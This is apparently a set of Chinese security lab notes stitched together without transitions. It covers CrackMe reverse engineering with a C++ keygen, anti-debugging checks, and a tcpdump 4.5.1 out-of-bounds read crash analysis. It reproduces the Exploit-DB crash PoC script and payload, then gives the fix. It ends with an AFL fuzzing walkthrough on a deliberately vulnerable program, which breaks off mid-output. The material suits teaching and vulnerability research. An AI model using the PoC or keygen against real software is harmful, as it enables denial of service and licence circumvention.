通过查找字符串“good boy”等，我们可以找到显示注册结果的相关代码

查找注册码验证相关代码

因为检测密钥是否正确时会将结果返回到EAX寄存器中，因此，在检测密钥前必然会对EAX寄存器清空，由此我们可以找到注册码验证的相关代码。

根据注册码验证代码编写注册机

分析上图算法，按tab键转换为高级语言

for ( i = 0; i < v6; v12 = v10 )
  v10 = (v6 + v12) * lpStringa[i++];
if ( (v12 ^ 0xA9F9FA) == atoi(v15) )
  MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);

可以看出，生成注册码主要在for循环中完成，之后将生成的注册码与输入相比较，判断是否正确。
所以，只要能弄明白v6，v12，v10，v15的含义，我们就可以轻松的编写注册机。
打开ollybdg，在进入循环之前设下断点，动态调试程序

004010CC  |> /8B4D 10       |mov ecx,[arg.3]  //此时ecx为name
004010CF  |.  8B55 0C       |mov edx,[arg.2]  //edx为0x1908
004010D2  |.  03D3          |add edx,ebx      //edx加上name的长度（ebx）
004010D4  |.  0FBE0C08      |movsx ecx,byte ptr ds:[eax+ecx]  //ecx=61h
004010D8  |.  0FAFCA        |imul ecx,edx     //61h(a) * edx
004010DB  |.  40            |inc eax          //eax加1（初始为0）
004010DC  |.  894D 0C       |mov [arg.2],ecx
004010DF  |.  3BC3          |cmp eax,ebx      //循环是否结束

arg.3为输入的name，arg.2初始为0x1908，ebx为name的长度，eax每次循环加1直到等于长度
因此，我们可以对参数的含义进行解释如下

v12 = 6408;   //0x1908
v10 = 6408;   //0x1908
v6 = len(name);
v12 = input_serial;
for ( i = 0; i < v6; i++ ){
  v12 = v10；
  v10 = (v6 + v12) * lpStringa[i];
}
if ((v12 ^ 0xA9F9FA) == atoi(v15)){
  MessageBoxA(hDlg, aTerimaKasihKer, aGoodBoy, 0);
}

可见，v12^0xA9F9FA的结果即是正确的注册码，我们编写一个简单的程序帮助我们生成注册码：

#include <iostream>
#include<stdio.h>

using namespace::std;
int main(){
	int v12;
	int v10 = 6408;   //0x1908
	string name;
	cout << "请输入name:  ";
	cin >> name;
	int len = name.size();
	for(int i = 0; i < len+1; i++ ){
  		v12 = v10;
  		v10 = (len + v12) * name[i];
	}
 	cout<<"\n"<<"注册码为:  "<<(v12 ^ 0xA9F9FA)<<endl;
 	return 0;
}

计算出”testname”的对应注册码

注册成功！

实验二：软件反动态调试技术分析

对象

CrackMe1.exe 1641.0 KB
无保护措施：无壳、未加密、无反调试措施
使用OllyDbg对该程序进行调试时，程序会自动退出

要求

1. 分析CrackMe1.exe是如何通过父进程检测实现反OllyDbg调试的
2. 分析除父进程检测外，该程序用到的反动态调试技术

父进程检测

一般双击运行的进程的父进程都是explorer.exe，但是如果进程被调试父进程则是调试器进程。也就是说如果父进程不是explorer.exe则可以认为程序正在被调试。

BOOL IsInDebugger(){
  HANDLE     hProcessSnap = NULL;
  char Expchar[] ="\\EXPLORER.EXE";
  char szBuffer[MAX_PATH]={0};
  char FileName[MAX_PATH]={0};
  PROCESSENTRY32 pe32   = {0};

  hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //得到所有进程的列表快照
  if (hProcessSnap == INVALID_HANDLE_VALUE)
      return FALSE;          

  pe32.dwSize = sizeof(PROCESSENTRY32);

  if (!Process32First(hProcessSnap, &pe32))  // 查找进程
  {
      CloseHandle (hProcessSnap);
      return FALSE;
  }

  do // 遍历所有进程
  {
      if(pe32.th32ProcessID==GetCurrentProcessId() )//判断是否是自己的进程？
        {
          HANDLE hProcess = OpenProcess (PROCESS_ALL_ACCESS, FALSE, pe32.th32ParentProcessID); //打开父进程
          if (hProcess)
            {
              if (GetModuleFileNameEx(hProcess, NULL, FileName,  MAX_PATH) ) // 得到父进程名
                  {
                    GetWindowsDirectory(szBuffer,MAX_PATH); //得到系统所在目录
                    strcat(szBuffer,Expchar);            //组合成类似的字串D:\Winnt\Explorer.EXE
                    if(strcmpi (FileName,szBuffer))  // 比较当前是否为Explorer.EXE进程
                      {
                        return TRUE;   // 父进程若不是Explorer.EXE，则是调试器
                      }
                    else
                      {
                        return FALSE; // 无法获得进程名
                      }
                    CloseHandle (hProcess);
                  }
              else
                {
                  return FALSE;//无权访问该进程
                }
            }
        }
        while (Process32Next(hProcessSnap, &pe32));
          CloseHandle (hProcessSnap);
          return FALSE;
  }

由上述示例代码，我们可以看到父进程检测中调用了GetCurrentProcessId函数来判断。
因此在Ollydbg中首先找到GetCurrentProcessId模块（Ctrl+N），然后设置断点

查看断点是否设置成功

运行该程序,在断点00401932停下，打开任务管理器，CrackMe1的pid为4020=0xFB4
程序在调用完GetCurrentProcessId后，pid被放入EAX寄存器中，值为0xFB4

然后调用Openprocess函数，其参数processId为0xFB4，返回进程（CrackMe1）的句柄
通过ntdll.dll中的LoadLibraryA和GetProcAddress函数找到NtQueryInformationProcess:

PNTQUERYINFORMATIONPROCESS  NtQueryInformationProcess = (PNTQUERYINFORMATIONPROCESS)GetProcAddress(GetModuleHandleA("ntdll"),"NtQueryInformationProcess");

用OpenProcess获得的句柄设置NtQueryInformationProcess的对应参数，然后调用NtQueryInformationProcess，从其返回值中可以获取到CrackMe1.exe的父进程PID=0xDB4=3508,在任务管理器中查看进程名确实是ollydbg
然后再次调用openprocess获得父进程的句柄

最后，调用GetModuleFileNameExA通过OpenProcess返回的句柄获取父进程的文件名：

至此，成功获取到父进程的文件名，接下来将进行父进程文件名与“c:\windows\explore.exe”的字符串比较。

EDX中保存explorer字符串，ESI中保存ollydbg字符串
然后进入循环逐位比较，比较流程是，首先取esi中第一个字符到eax，将EAX的值减去41然后存入exc中，并与19比较大小，判断是否大写，若是则eax加上20转化为小写；转化为小写之后，对edx中的字符做同样操作，然后test eax eax判断是否比较完毕，若没有则逐个比较，直到遇到不相等的字符。

其他检测

用EnumWindows枚举所有屏幕上的顶层窗口，并将窗口句柄传送给应用程序定义的回调函数，此处的回调函数调用了GetWindowTextA将指定窗口的标题栏（如果有的话）的文字拷贝到缓冲区内

将得到的窗口标题与”ollydbg”等进行比较，看是否为调试器。

实验三：加花加密反调试技术分析

对象

CrackMe2.exe 9.00 KB
保护措施：部分加花、部分加密、简单反调试
根据提示

内容

1. 加壳脱壳深入理解
2. 尝试手动脱壳
3. 分析CrackMe2.exe中花指令
4. 分析CrackMe2.exe中的被加密的函数的功能
5. 分析CrackMe2.exe中的反调试手段
6. 分析CrackMe2.exe中混合的64位代码的功能

1. tcpdump 是一个运行在命令行下的嗅探工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。tcpdump 适用于大多数的类Unix系统 操作系统：包括Linux、Solaris、BSD、Mac OS X、HP-UX和AIX 等等。在这些系统中，tcpdump 需要使用libpcap这个捕捉数据的库。其在Windows下的版本称为WinDump；它需要WinPcap驱动，相当于在Linux平台下的libpcap.
2. tcpdump能够分析网络行为，性能和应用产生或接收网络流量。它支持针对网络层、协议、主机、网络或端口的过滤，并提供and、or、not等逻辑语句来帮助你去掉无用的信息，从而使用户能够进一步找出问题的根源。
3. 也可以使用 tcpdump 的实现特定目的，例如在路由器和网关之间拦截并显示其他用户或计算机通信。通过 tcpdump 分析非加密的流量，如Telnet或HTTP的数据包，查看登录的用户名、密码、网址、正在浏览的网站内容，或任何其他信息。因此系统中存在网络分析工具主要不是对本机安全的威胁，而是对网络上的其他计算机的安全存在威胁。

分析环境

• Ubuntu 16.04.4 LTS i686
• tcpdump 4.5.1
• gdb with peda

漏洞复现

这个漏洞触发的原因是，tcpdump在处理特殊的pcap包的时候，由于对数据包传输数据长度没有进行严格的控制，导致在连续读取数据包中内容超过一定长度后，会读取到无效的内存空间，从而导致拒绝服务的发生。对于这个漏洞，首先要对pcap包的结构进行一定的分析，才能够最后分析出漏洞的成因，下面对这个漏洞进行复现。

编译安装tcpdump

1.	# apt-get install libpcap-dev
2.	# dpkg -l libpcap-dev
3.	# wget https://www.exploit-db.com/apps/973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
4.	# tar -zxvf 973a2513d0076e34aa9da7e15ed98e1b-tcpdump-4.5.1.tar.gz
5.	# cd tcpdump-4.5.1/
6.	# ./configure
7.	# make
8.	# make install
9.	# tcpdump –-version
          tcpdump version 4.5.1
          libpcap version 1.7.4

生成payload（来自exploit-db payload）

# Exploit Title: tcpdump 4.5.1 Access Violation Crash
# Date: 31st May 2016
# Exploit Author: David Silveiro
# Vendor Homepage: http://www.tcpdump.org
# Software Link: http://www.tcpdump.org/release/tcpdump-4.5.1.tar.gz
# Version: 4.5.1
# Tested on: Ubuntu 14 LTS
from subprocess import call
from shlex import split
from time import sleep

def crash():
    command = 'tcpdump -r crash'
    buffer     =   '\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\xf5\xff'
    buffer     +=  '\x00\x00\x00I\x00\x00\x00\xe6\x00\x00\x00\x00\x80\x00'
    buffer     +=  '\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00<\x9c7@\xff\x00'
    buffer     +=  '\x06\xa0r\x7f\x00\x00\x01\x7f\x00\x00\xec\x00\x01\xe0\x1a'
    buffer     +=  "\x00\x17g+++++++\x85\xc9\x03\x00\x00\x00\x10\xa0&\x80\x18\'"
    buffer     +=  "xfe$\x00\x01\x00\x00@\x0c\x04\x02\x08\n', '\x00\x00\x00\x00"
    buffer     +=  '\x00\x00\x00\x00\x01\x03\x03\x04'
    with open('crash', 'w+b') as file:
        file.write(buffer)
    try:
        call(split(command))
        print("Exploit successful!             ")
    except:
        print("Error: Something has gone wrong!")
def main():
    print("Author:   David Silveiro                           ")
    print("   tcpdump version 4.5.1 Access Violation Crash    ")
    sleep(2)
    crash()
if __name__ == "__main__":
    main()

崩溃分析

pcap包格式

首先来分析一下pcap包的格式，首先是pcap文件头的内容，在.h有所定义，这里将结构体以及对应变量含义都列出来。

struct pcap_file_header {
        bpf_u_int32 magic;
        u_short version_major;
        u_short version_minor;
        bpf_int32 thiszone;     /* gmt to local correction */
        bpf_u_int32 sigfigs;    /* accuracy of timestamps */
        bpf_u_int32 snaplen;    /* max length saved portion of each pkt */
        bpf_u_int32 linktype;   /* data link type (LINKTYPE_*) */
};

看一下各字段的含义：

 magic：   4字节 pcap文件标识 目前为“d4 c3 b2 a1”
 major：   2字节 主版本号     #define PCAP_VERSION_MAJOR 2
 minor：   2字节 次版本号     #define PCAP_VERSION_MINOR 4
 thiszone：4字节 时区修正     并未使用，目前全为0
 sigfigs： 4字节 精确时间戳   并未使用，目前全为0
 snaplen： 4字节 抓包最大长度 如果要抓全，设为0x0000ffff（65535），
          tcpdump -s 0就是设置这个参数，缺省为68字节
 linktype：4字节 链路类型    一般都是1：ethernet

struct pcap_pkthdr {
        struct timeval ts;      /* time stamp */
        bpf_u_int32 caplen;     /* length of portion present */
        bpf_u_int32 len;        /* length this packet (off wire) */
};
struct timeval {
        long            tv_sec;         /* seconds (XXX should be time_t) */
        suseconds_t     tv_usec;        /* and microseconds */
};
 ts：    8字节 抓包时间 4字节表示秒数，4字节表示微秒数
 caplen：4字节 保存下来的包长度（最多是snaplen，比如68字节）
 len：   4字节 数据包的真实长度，如果文件中保存的不是完整数据包，可能比caplen大

其中len变量是值得关注的，因为在crash文件中，对应len变量的值为00 3C 9C 37
这是一个很大的值，读取出来就是379C3C00，数非常大，实际上在wireshark中打开这个crash文件，就会报错，会提示这个数据包的长度已经超过了范围，而换算出来的长度就是379C3C00，这是触发漏洞的关键。

gdb调试

首先通过gdb运行tcpdump，用-r参数打开poc生成的crash，tcp崩溃，到达漏洞触发位置

1.	Program received signal SIGSEGV, Segmentation fault.
2.	[----------------------------------registers-----------------------------------]
3.	EAX: 0x1
4.	EBX: 0x81e33bd --> 0x0
5.	ECX: 0x2e ('.')
6.	EDX: 0x0
7.	ESI: 0xbfffe201 ('.' <repeats 14 times>)
8.	EDI: 0xbfffe1db --> 0x30303000 ('')
9.	EBP: 0x10621
10.	ESP: 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>:   mov    ecx,DWORD PTR [esp+0xc])
11.	EIP: 0x8053c6a (<hex_and_ascii_print_with_offset+106>:  movzx  edx,BYTE PTR [ebx+ebp*2+0x1])
12.	EFLAGS: 0x10296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
13.	[-------------------------------------code-------------------------------------]
14.	   0x8053c5d <hex_and_ascii_print_with_offset+93>:      je     0x8053d40 <hex_and_ascii_print_with_offset+320>
15.	   0x8053c63 <hex_and_ascii_print_with_offset+99>:      mov    ebx,DWORD PTR [esp+0x18]
16.	   0x8053c67 <hex_and_ascii_print_with_offset+103>:     sub    esp,0x4
17.	=> 0x8053c6a <hex_and_ascii_print_with_offset+106>:     movzx  edx,BYTE PTR [ebx+ebp*2+0x1]
18.	   0x8053c6f <hex_and_ascii_print_with_offset+111>:     movzx  ecx,BYTE PTR [ebx+ebp*2]
19.	   0x8053c73 <hex_and_ascii_print_with_offset+115>:     push   edx
20.	   0x8053c74 <hex_and_ascii_print_with_offset+116>:     mov    ebx,edx
21.	   0x8053c76 <hex_and_ascii_print_with_offset+118>:     mov    DWORD PTR [esp+0x18],edx
22.	[------------------------------------stack-------------------------------------]
23.	0000| 0xbfffe1ac --> 0x8053caa (<hex_and_ascii_print_with_offset+170>:  mov    ecx,DWORD PTR [esp+0xc])
24.	0004| 0xbfffe1b0 --> 0xb7fff000 --> 0x23f3c
25.	0008| 0xbfffe1b4 --> 0x1
26.	0012| 0xbfffe1b8 --> 0x2f5967 ('gY/')
27.	0016| 0xbfffe1bc --> 0x0
28.	0020| 0xbfffe1c0 --> 0x0
29.	0024| 0xbfffe1c4 --> 0x7ffffff9
30.	0028| 0xbfffe1c8 --> 0x81e33bd --> 0x0
31.	[------------------------------------------------------------------------------]
32.	Legend: code, data, rodata, value
33.	Stopped reason: SIGSEGV
34.	hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
35.	    length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
36.	91                      s2 = *cp++;

从崩溃信息来看，出错位置为s2 = cp++;崩溃原因为SIGSEGV，即进程执行了一段无效的内存引用或发生段错误。可以看到，问题出现在./print-ascii.c:91，而且此时指针读取[ebx+ebp2+0x1]的内容，可能是越界读取造成的崩溃。
再结合源码信息可知，指针cp在自加的过程中访问到了一个没有权限访问的地址，因为这是写在一个while循环里，也就是是说nshorts的值偏大，再看nshorts怎么来的，由此nshorts = length / sizeof(u_short);可知，可能是函数传入的参数length没有控制大小导致，因此目标就是追踪length是如何传入的。
我们通过bt回溯一下调用情况。

1.	gdb-peda$ bt
2.	#0  hex_and_ascii_print_with_offset (ident=0x80c04af "\n\t", cp=0x8204000 <error: Cannot access memory at address 0x8204000>,
3.	    length=0xfffffff3, oset=0x20c40) at ./print-ascii.c:91
4.	#1  0x08053e26 in hex_and_ascii_print (ident=0x80c04af "\n\t", cp=0x81e33bd "", length=0xfffffff3) at ./print-ascii.c:127
5.	#2  0x08051e7d in ieee802_15_4_if_print (ndo=0x81e1320 <Gndo>, h=0xbfffe40c, p=<optimized out>) at ./print-802_15_4.c:180
6.	#3  0x080a0aea in print_packet (user=0xbfffe4dc " \023\036\b\300\034\005\b\001", h=0xbfffe40c, sp=0x81e33a8 "@\377")
7.	    at ./tcpdump.c:1950
8.	#4  0xb7fa3468 in ?? () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
9.	#5  0xb7f940e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8
10.	#6  0x0804b3dd in main (argc=0x3, argv=0xbffff6c4) at ./tcpdump.c:1569
11.	#7  0xb7de9637 in __libc_start_main (main=0x804a4c0 <main>, argc=0x3, argv=0xbffff6c4, init=0x80b1230 <__libc_csu_init>,
12.	    fini=0x80b1290 <__libc_csu_fini>, rtld_fini=0xb7fea880 <_dl_fini>, stack_end=0xbffff6bc) at ../csu/libc-start.c:291
13.	#8  0x0804c245 in _start ()

函数调用流程

pcap_loop
  |----print_packet
                 |-----hex_and_ascii_print
                                |--------  hex_and_ascii_print_with_offset

由此可见，从main函数开始了一连串函数调用，git源码下来看看。
tcpdump.c找到pcap_loop调用

1.	    do {
2.	        status = pcap_loop(pd, cnt, callback, pcap_userdata);
3.	        if (WFileName == NULL) {
4.	            /*
5.	             * We're printing packets.  Flush the printed output,
6.	             * so it doesn't get intermingled with error output.
7.	             */
8.	            if (status == -2) {
9.	                /*
10.	                 * We got interrupted, so perhaps we didn't
11.	                 * manage to finish a line we were printing.
12.	                 * Print an extra newline, just in case.
13.	                 */
14.	                putchar('n');
15.	            }
16.	            (void)fflush(stdout);
17.	        }

设置断点之后查看一下该函数的执行结果

pcap_loop通过callback指向print_packet,来看一下它的源码

1.	static void
2.	print_packet(u_char *user, const struct pcap_pkthdr *h, const u_char *sp)
3.	{
4.	    struct print_info *print_info;
5.	    u_int hdrlen;
6.	    ++packets_captured;
7.	    ++infodelay;
8.	    ts_print(&h->ts);
9.	    print_info = (struct print_info *)user;
10.	    /*
11.	     * Some printers want to check that they're not walking off the
12.	     * end of the packet.
13.	     * Rather than pass it all the way down, we set this global.
14.	     */
15.	    snapend = sp + h->caplen;
16.	        if(print_info->ndo_type) {
17.	                hdrlen = (*print_info->p.ndo_printer)(print_info->ndo, h, sp);<====
18.	        } else {
19.	                hdrlen = (*print_info->p.printer)(h, sp);
20.	        }
21.	    putchar('n');
22.	    --infodelay;
23.	    if (infoprint)
24.	        info(0);}

同样设置断点看该函数是如何调用执行的

这是我们可以根据call的信息，计算出调用的函数名

其中(*print_info->p.ndo_printer)(print_info->ndo,h,sp)指向ieee802_15_4_if_print

25.	u_int
26.	ieee802_15_4_if_print(struct netdissect_options *ndo,
27.	const struct pcap_pkthdr *h, const u_char *p)
28.	{
29.	printf("address : %x\n",p);
30.	u_int caplen = h->caplen; //传入的caplen，赋值给无符号整形变量caplen,且该值为8
31.	int hdrlen;
32.	u_int16_t fc;
33.	u_int8_t seq;
34.	if (caplen < 3) { //不满足
35.	ND_PRINT((ndo, "[|802.15.4] %x", caplen));
36.	return caplen;
37.	}
38.	fc = EXTRACT_LE_16BITS(p);
39.	hdrlen = extract_header_length(fc);
40.	seq = EXTRACT_LE_8BITS(p + 2);
41.	p += 3;
42.	caplen -= 3;//此时caplen = 5
43.	ND_PRINT((ndo,"IEEE 802.15.4 %s packet ", ftypes[fc & 0x7]));
44.	if (vflag)
45.	ND_PRINT((ndo,"seq %02x ", seq));
46.	if (hdrlen == -1) {
47.	ND_PRINT((ndo,"malformed! "));
48.	return caplen;
49.	}
50.	if (!vflag) {
51.	p+= hdrlen;
52.	caplen -= hdrlen;
53.	} else {
54.	u_int16_t panid = 0;
55.	switch ((fc >> 10) & 0x3) {
56.	case 0x00:
57.	ND_PRINT((ndo,"none "));
58.	break;
59.	case 0x01:
60.	ND_PRINT((ndo,"reserved destination addressing mode"));
61.	return 0;
62.	case 0x02:
63.	panid = EXTRACT_LE_16BITS(p);
64.	p += 2;
65.	ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
66.	p += 2;
67.	break;
68.	case 0x03:
69.	panid = EXTRACT_LE_16BITS(p);
70.	p += 2;
71.	ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p)));
72.	p += 8;
73.	break;
74.	}
75.	ND_PRINT((ndo,"< ");
76.	switch ((fc >> 14) & 0x3) {
77.	case 0x00:
78.	ND_PRINT((ndo,"none "));
79.	break;
80.	case 0x01:
81.	ND_PRINT((ndo,"reserved source addressing mode"));
82.	return 0;
83.	case 0x02:
84.	if (!(fc & (1 << 6))) {
85.	panid = EXTRACT_LE_16BITS(p);
86.	p += 2;
87.	}
88.	ND_PRINT((ndo,"%04x:%04x ", panid, EXTRACT_LE_16BITS(p)));
89.	p += 2;
90.	break;
91.	case 0x03:
92.	if (!(fc & (1 << 6))) {
93.	panid = EXTRACT_LE_16BITS(p);
94.	p += 2;
95.	}
96.	ND_PRINT((ndo,"%04x:%s ", panid, le64addr_string(p))));
97.	p += 8;
98.	break;
99.	}
100.	caplen -= hdrlen;
101.	}

传入的第二个值是struct pcap_pkthdr *h结构体，函数使用的参数caplen就是结构体中的caplen，不难看出，caplen进行一些加减操作后，没有判断正负，直接丢给了下一个函数使用。
直接跟进函数，看看最后赋值情况

从源码和调试信息可以看到libpcap在处理不正常包时不严谨，导致包的头长度hdrlen竟然大于捕获包长度caplen，并且在处理时又没有相关的判断。hdrlen和caplen都是非负整数，导致caplen==0xfffffff3过长。
继续跟进hex_and_asciii_print(ndo_default_print)

1.	void
2.	hex_and_ascii_print(register const char *ident, register const u_char *cp,
3.	    register u_int length)
4.	{
5.	    hex_and_ascii_print_with_offset(ident, cp, length, 0);
6.	}

其中length==0xfffffff3，继续执行
1.	void
2.	hex_print_with_offset(register const char *ident, register const u_char *cp, register u_int length,
3.	              register u_int oset)
4.	{
5.	    register u_int i, s;
6.	    register int nshorts;
7.
8.	    nshorts = (u_int) length / sizeof(u_short);
9.	    i = 0;
10.	    while (--nshorts >= 0) {
11.	        if ((i++ % 8) == 0) {
12.	            (void)printf("%s0x%04x: ", ident, oset);
13.	            oset += HEXDUMP_BYTES_PER_LINE;
14.	        }
15.	        s = *cp++;   <======= 抛出错误位置
16.	        (void)printf(" %02x%02x", s, *cp++);
17.	    }
18.	    if (length & 1) {
19.	        if ((i % 8) == 0)
20.	            (void)printf("%s0x%04x: ", ident, oset);
21.	        (void)printf(" %02x", *cp);
22.	    }
nshorts=(u_int) length / sizeof(u_short) => nshorts=0xfffffff3/2=‭7FFFFFF9‬‬‬‬

但数据包数据没有这么长，导致了crash。

内存分析

仔细分析之后发现，通过len判断的这个长度并没有进行控制，如果是自己构造的一个超长len的数据包，则会连续读取到不可估计的值。
通过查看epx的值来看一下这个内存到底开辟到什么位置

1.	gdb-peda$ x/10000000x 0x81e33bd
2.	0x8203fdd:      0x00000000      0x00000000      0x00000000      0x00000000
3.	0x8203fed:      0x00000000      0x00000000      0x00000000      0x00000000
4.	0x8203ffd:      Cannot access memory at address 0x8204000

可以看到，到达0x 8204000附近的时候，就是无法读取的无效地址了，那么初始值为0x 81e33bd，用两个值相减。0x 8204000-0x 81e33bd = 0x 20c40，因为ebx+ebp*2+0x1一次读取两个字节，那么循环计数器就要除以2，最后结果为0x 10620。
来看一下到达拒绝服务位置读取的长度：EBX: 0x81e33bd –> 0x0；EBP: 0x10621；
EBP刚好为10621。正是不可读取内存空间的地址，因此造成拒绝服务。

漏洞总结

总结一下整个漏洞触发过程，首先tcpdump会读取恶意构造的pcap包，在构造pcap包的时候，设置一个超长的数据包长度，tcpdump会根据len的长度去读取保存在内存空间数据包的内容，当引用到不可读取内存位置时，会由于引用不可读指针，造成拒绝服务漏洞。

漏洞修补

Libpcap依然是apt安装的默认版本，tcpdump使用4.7 .0-bp版本
在hex_and_ascii_print_with_offset中增加对caplength的判断

1.	caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;
2.	if (length > caplength)
3.	    length = caplength;
4.	nshorts = length / sizeof(u_short);
5.	i = 0;
6.	hsp = hexstuff; asp = asciistuff;
7.	while (--nshorts >= 0) {
8.	    ...
9.	}

可以看到执行完caplength = (ndo->ndo_snapend >= cp) ? ndo->ndo_snapend - cp : 0;，caplength为0，继续执行，可以推出length同样为0，到这里已经不会发生错误了。

参考

exploit-db payload
WHEREISK0SHL分析博客
libpcap/tcpdump源码

部署afl

> wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz > tar -zxvf afl-latest.tgz > cd afl-2.52b/ > make > sudo make install >

部署qemu

> $ CPU_TARGET=x86_64 ./build_qemu_support.sh > [+] Build process successful! > [*] Copying binary... > -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace > [+] Successfully created '../afl-qemu-trace'. > [!] Note: can't test instrumentation when CPU_TARGET set. > [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz! >

0x01 白盒测试

目标程序编译

1. 源代码

   #undef _FORTIFY_SOURCE #include <stdio.h> #include <stdlib.h> #include <unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256); } int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, "Hello, World\n", 13); }

2. gcc编译（不插桩）

   $ gcc v1.c -o v1 $ ./v1 what Hello, World

生成v1的目的一是为了和afl-gcc的编译做对比，二是为黑盒测试做铺垫。

3. 使用afl-gcc进行编译
   -fno-stack-protector 该选项会禁止stack canary保护
   -z execstack 允许堆栈可执行

   $ ../afl-2.52b/afl-gcc -fno-stack-protector -z execstack v1.c -o v1-afl afl-cc 2.52b by <lcamtuf@google.com> afl-as 2.52b by <lcamtuf@google.com> [+] Instrumented 2 locations (64-bit, non-hardened mode, ratio 100%).

测试插桩程序

afl-showmap 跟踪单个输入的执行路径，并打印程序执行的输出、捕获的元组（tuples），tuple用于获取分支信息，从而衡量衡量程序覆盖情况。

$ ./afl-showmap -o /dev/null -- ../vuln/v1  <<(echo test)
afl-showmap 2.52b by <lcamtuf@google.com>
[*] Executing '../vuln/v1'...

-- Program output begins --
Hello, World
-- Program output ends --

[-] PROGRAM ABORT : No instrumentation detected
         Location : main(), afl-showmap.c:773

$ ./afl-showmap -o /dev/null -- ../vuln/v1-afl <<(echo test)
afl-showmap 2.52b by <lcamtuf@google.com>
[*] Executing '../vuln/v1-afl'...

-- Program output begins --
Hello, World
-- Program output ends --
[+] Captured 1 tuples in '/dev/null'.

可见，afl-gcc相对于gcc的不同在于采用了插桩计算覆盖率，在这个实例程序中捕捉到了一个元组

执行FUZZER

1. 修改core
   在执行afl-fuzz前，如果系统配置为将核心转储文件（core）通知发送到外部程序。

   $ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/out/ ../vuln/v1-afl afl-fuzz 2.52b by <lcamtuf@google.com> [+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%). [*] Checking CPU core loadout... [+] Found a free CPU core, binding to #0. [*] Checking core_pattern... [-] Hmm, your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed to the fuzzer via the standard waitpid() API. To avoid having crashes misinterpreted as timeouts, please log in as root and temporarily modify /proc/sys/kernel/core_pattern, like so: echo core >/proc/sys/kernel/core_pattern [-] PROGRAM ABORT : Pipe at the beginning of 'core_pattern' Location : check_crash_handling(), afl-fuzz.c:7275

将导致将崩溃信息发送到Fuzzer之间的延迟增大，进而可能将崩溃被误报为超时，所以我们得临时修改core_pattern文件，如下所示：

echo core >/proc/sys/kernel/core_pattern

2. 通用fuzz语法
   afl-fuzz对于直接从stdin接受输入的目标二进制文件，通常的语法是：

   $ ./afl-fuzz -i testcase_dir -o findings_dir / path / to / program [... params ...]

对于从文件中获取输入的程序，使用“@@”标记目标命令行中应放置输入文件名的位置。模糊器将替换为您：

$ ./afl-fuzz -i testcase_dir -o findings_dir / path / to / program @@

此时afl会给我们返回一些信息，这里提示我们有些测试用例无效

afl-fuzz 2.52b by <lcamtuf@google.com>
[+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%).
[*] Checking CPU core loadout...
[+] Found a free CPU core, binding to #0.
[*] Checking core_pattern...
[*] Setting up output directories...
[+] Output directory exists but deemed OK to reuse.
[*] Deleting old session data...
[+] Output dir cleanup successful.
[*] Scanning '../vuln/testcase/'...
[+] No auto-generated dictionary tokens to reuse.
[*] Creating hard links for all input files...
[*] Validating target binary...
[*] Attempting dry run with 'id:000000,orig:1'...
[*] Spinning up the fork server...
[+] All right - fork server is up.
    len = 3, map size = 1, exec speed = 295 us
[*] Attempting dry run with 'id:000001,orig:2'...
    len = 23, map size = 1, exec speed = 125 us
[!] WARNING: No new instrumentation output, test case may be useless.
[+] All test cases processed.

[!] WARNING: Some test cases look useless. Consider using a smaller set.
[+] Here are some useful stats:

    Test case count : 1 favored, 0 variable, 2 total
       Bitmap range : 1 to 1 bits (average: 1.00 bits)
        Exec timing : 125 to 295 us (average: 210 us)

[*] No -t option specified, so I'll use exec timeout of 20 ms.
[+] All set and ready to roll!

3. 状态窗口
   我们可以看到afl很快就给我们制造了崩溃

                       american fuzzy lop 2.52b (v1-afl)

┌─ process timing ─────────────────────────────────────┬─ overall results ─────┐
│        run time : 0 days, 0 hrs, 4 min, 19 sec       │  cycles done : 2477   │
│   last new path : 0 days, 0 hrs, 2 min, 27 sec       │  total paths : 3      │
│ last uniq crash : 0 days, 0 hrs, 4 min, 19 sec       │ uniq crashes : 1      │
│  last uniq hang : 0 days, 0 hrs, 2 min, 12 sec       │   uniq hangs : 1      │
├─ cycle progress ────────────────────┬─ map coverage ─┴───────────────────────┤
│  now processing : 2 (66.67%)        │    map density : 0.00% / 0.00%         │
│ paths timed out : 0 (0.00%)         │ count coverage : 1.00 bits/tuple       │
├─ stage progress ────────────────────┼─ findings in depth ────────────────────┤
│  now trying : havoc                 │ favored paths : 1 (33.33%)             │
│ stage execs : 1433/1536 (93.29%)    │  new edges on : 2 (66.67%)             │
│ total execs : 2.32M                 │ total crashes : 93.1k (1 unique)       │
│  exec speed : 0.00/sec (zzzz...)    │  total tmouts : 8 (1 unique)           │
├─ fuzzing strategy yields ───────────┴───────────────┬─ path geometry ────────┤
│   bit flips : 0/1152, 0/1149, 0/1143                │    levels : 2          │
│  byte flips : 0/144, 0/14, 0/10                     │   pending : 0          │
│ arithmetics : 0/888, 0/25, 0/0                      │  pend fav : 0          │
│  known ints : 0/98, 0/390, 0/440                    │ own finds : 1          │
│  dictionary : 0/0, 0/0, 0/0                         │  imported : n/a        │
│       havoc : 2/1.50M, 0/819k                       │ stability : 100.00%    │
│        trim : 11.88%/64, 80.00%                     ├────────────────────────┘
